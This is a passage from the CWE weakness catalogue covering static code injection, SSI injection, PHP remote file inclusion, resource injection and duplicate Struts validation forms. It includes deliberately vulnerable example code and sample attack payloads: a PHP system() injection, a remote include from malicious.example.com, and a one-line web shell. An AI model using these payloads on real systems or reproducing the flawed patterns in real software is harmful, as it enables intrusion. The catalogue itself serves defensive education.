Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

Research Gap

This issue is probably under-reported. Most relevant CVEs have been for Perl and PHP, but eval injection applies to most interpreted languages. Javascript eval injection is likely to be heavily under-reported.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Dynamic Code Evaluation ('Eval Injection')
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command
SEI CERT Perl Coding Standard	IDS35-PL	Exact	Do not invoke the eval form with a string argument

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Weakness ID : 96 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	94	Improper Control of Generation of Code ('Code Injection')	204
ParentOf	V	97	Improper Neutralization of Server-Side Includes (SSI) Within a Web Page	216

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Weakness Ordinalities

Primary :

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Language : Perl *(Prevalence = Undetermined)*

Language : Interpreted *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data *The injected code could access restricted data / files.*	
Access Control	Bypass Protection Mechanism *In some cases, injectable code controls authentication; this may lead to a remote vulnerability.*	
Access Control	Gain Privileges or Assume Identity *Injected code can access resources that the attacker is directly prevented from accessing.*	
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands *Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.*	
Non-Repudiation	Hide Activities *Often the actions performed by injected control code are unlogged.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.

Demonstrative Examples

Example 1:

This example attempts to write user messages to a message file and allow users to view them.

Example Language: PHP *(bad)*

```
$MessageFile = "cwe-94/messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

Example Language: *(attack)*

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

Example Language: *(attack)*

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

Observed Examples

Reference	Description
CVE-2002-0495	Perl code directly injected into CGI library file from parameters to another CGI program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0495*
CVE-2005-1876	Direct PHP code injection into supporting template file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1876*
CVE-2005-1894	Direct code injection into PHP script that can be accessed by attacker. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1894*
CVE-2003-0395	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0395*
CVE-2007-6652	chain: execution after redirect allows non-administrator to perform static code injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6652*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037

Notes

Relationship

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Static Code Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
73	User-Controlled Filename
77	Manipulating User-Controlled Variables
81	Web Logs Tampering
85	AJAX Fingerprinting

CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

Weakness ID : 97 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	213

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Server-Side Includes (SSI) Injection
WASC	36		SSI Injection

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
101	Server Side Include (SSI) Injection

CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Weakness ID : 98 **Status:** Draft
Structure : Simple

Abstraction : Variant

Description

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

Extended Description

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
ChildOf	B	829	Inclusion of Functionality from Untrusted Control Sphere	1532
CanAlsoBe	B	426	Untrusted Search Path	917
CanFollow	B	73	External Control of File Name or Path	125
CanFollow	B	184	Incomplete List of Disallowed Inputs	425
CanFollow	B	425	Direct Request ('Forced Browsing')	915
CanFollow	V	456	Missing Initialization of a Variable	971
CanFollow	V	473	PHP External Variable Modification	1005
CanPrecede	B	94	Improper Control of Generation of Code ('Code Injection')	204

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : PHP *(Prevalence = Often)*

Alternate Terms

Remote file include :

RFI : The Remote File Inclusion (RFI) acronym is often used by vulnerability researchers.

Local file inclusion : This term is frequently used in cases in which remote download is disabled, or when the first part of the filename is not under the attacker's control, which forces use of relative path traversal (CWE-23) attack techniques to access files that may contain previously-injected PHP code, such as web access logs.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php*	

Scope	Impact	Likelihood
	code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.	

Detection Methods

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Effectiveness = High

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Phase: Operation

Strategy = Environment Hardening

Set allow_url_fopen to false, which limits the ability to include files from remote locations.

Effectiveness = High

Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

Demonstrative Examples

Example 1:

The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

Example Language: PHP *(bad)*

```
$dir = $_GET['module_name'];
include($dir . "/function.php");
```

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

Example Language: *(attack)*

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

Example Language: *(bad)*

```
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

Example Language: *(attack)*

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

Example Language: *(attack)*

```
/bin/ls -l
```

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

Observed Examples

Reference	Description
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0285*
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0030*
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0068*

Reference	Description
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2157*
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2162*
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2198*
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0128*
CVE-2005-1864	PHP file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1864*
CVE-2005-1869	PHP file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1869*
CVE-2005-1870	PHP file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1870*
CVE-2005-2154	PHP local file inclusion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2154*
CVE-2002-1704	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1704*
CVE-2002-1707	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1707*
CVE-2005-1964	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1964*
CVE-2005-1681	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1681*
CVE-2005-2086	PHP remote file include. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2086*
CVE-2004-0127	Directory traversal vulnerability in PHP include statement. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0127*
CVE-2005-1971	Directory traversal vulnerability in PHP include statement. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1971*
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3335*
CVE-2009-1936	chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1936*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	1871
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1877

Nature	Type	ID	Name	V	Page
MemberOf	C	802	2010 Top 25 - Risky Resource Management	800	1895

Notes

Relationship

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role. Can overlap directory traversal in local inclusion problems.

Research Gap

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PHP File Include
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
WASC	5		Remote File Inclusion

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
193	PHP Remote File Inclusion

References

[REF-185]OWASP. "Testing for Path Traversal (OWASP-AZ-001)". < http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001) >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-951]Shaun Clowes. "A Study in Scarlet". < http://www.cgisecurity.com/lib/studyinscarlet.txt >.

[REF-952]Stefan Esser. "Suhosin". < http://www.hardened-php.net/suhosin/ >.

[REF-953]Johannes Ullrich. "Top 25 Series - Rank 13 - PHP File Inclusion". 2010 March 1. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/ >.

CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID : 99 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

Extended Description

A resource injection issue occurs when the following two conditions are met:

1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

This may enable an attacker to access or modify otherwise protected system resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	130
ParentOf	B	641	Improper Restriction of Names for Files and Other Resources	1256
ParentOf	B	694	Use of Multiple Resources with Duplicate Identifier	1346
ParentOf	B	914	Improper Control of Dynamically-Identified Variables	1589
PeerOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
PeerOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
CanAlsoBe	B	73	External Control of File Name or Path	125

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Alternate Terms

Insecure Direct Object Reference : OWASP uses this term, although it is effectively the same as resource injection.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data Read Files or Directories Modify Files or Directories *An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Demonstrative Examples

Example 1:

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

Example Language: Java *(bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

Example Language: C++ *(bad)*

```
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	809	1898
MemberOf	V	884	CWE Cross-section	884	2037

Nature	Type	ID	Name	V	Page
MemberOf	C	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References	928	1930
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1005	7PK - Input Validation and Representation	700	1961
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981

Notes

Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Resource Injection
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-99		

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
10	Buffer Overflow via Environment Variables
75	Manipulating Writeable Configuration Files
240	Resource Injection

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-102: Struts: Duplicate Validation Forms

Weakness ID : 102 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

Extended Description

If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1722
ChildOf	B	694	Use of Multiple Resources with Duplicate Identifier	1346
PeerOf	C	675	Duplicate Operations on Resource	1316

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

Demonstrative Examples

Example 1:

Two validation forms with the same name.

Example Language: XML *(bad)*

```
<form-validation>
   <formset>
      <form name="ProjectForm"> ... </form>
      <form name="ProjectForm"> ... </form>
   </formset>
</form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the application.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Duplicate Validation Forms
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-103: Struts: Incomplete validate() Method Definition

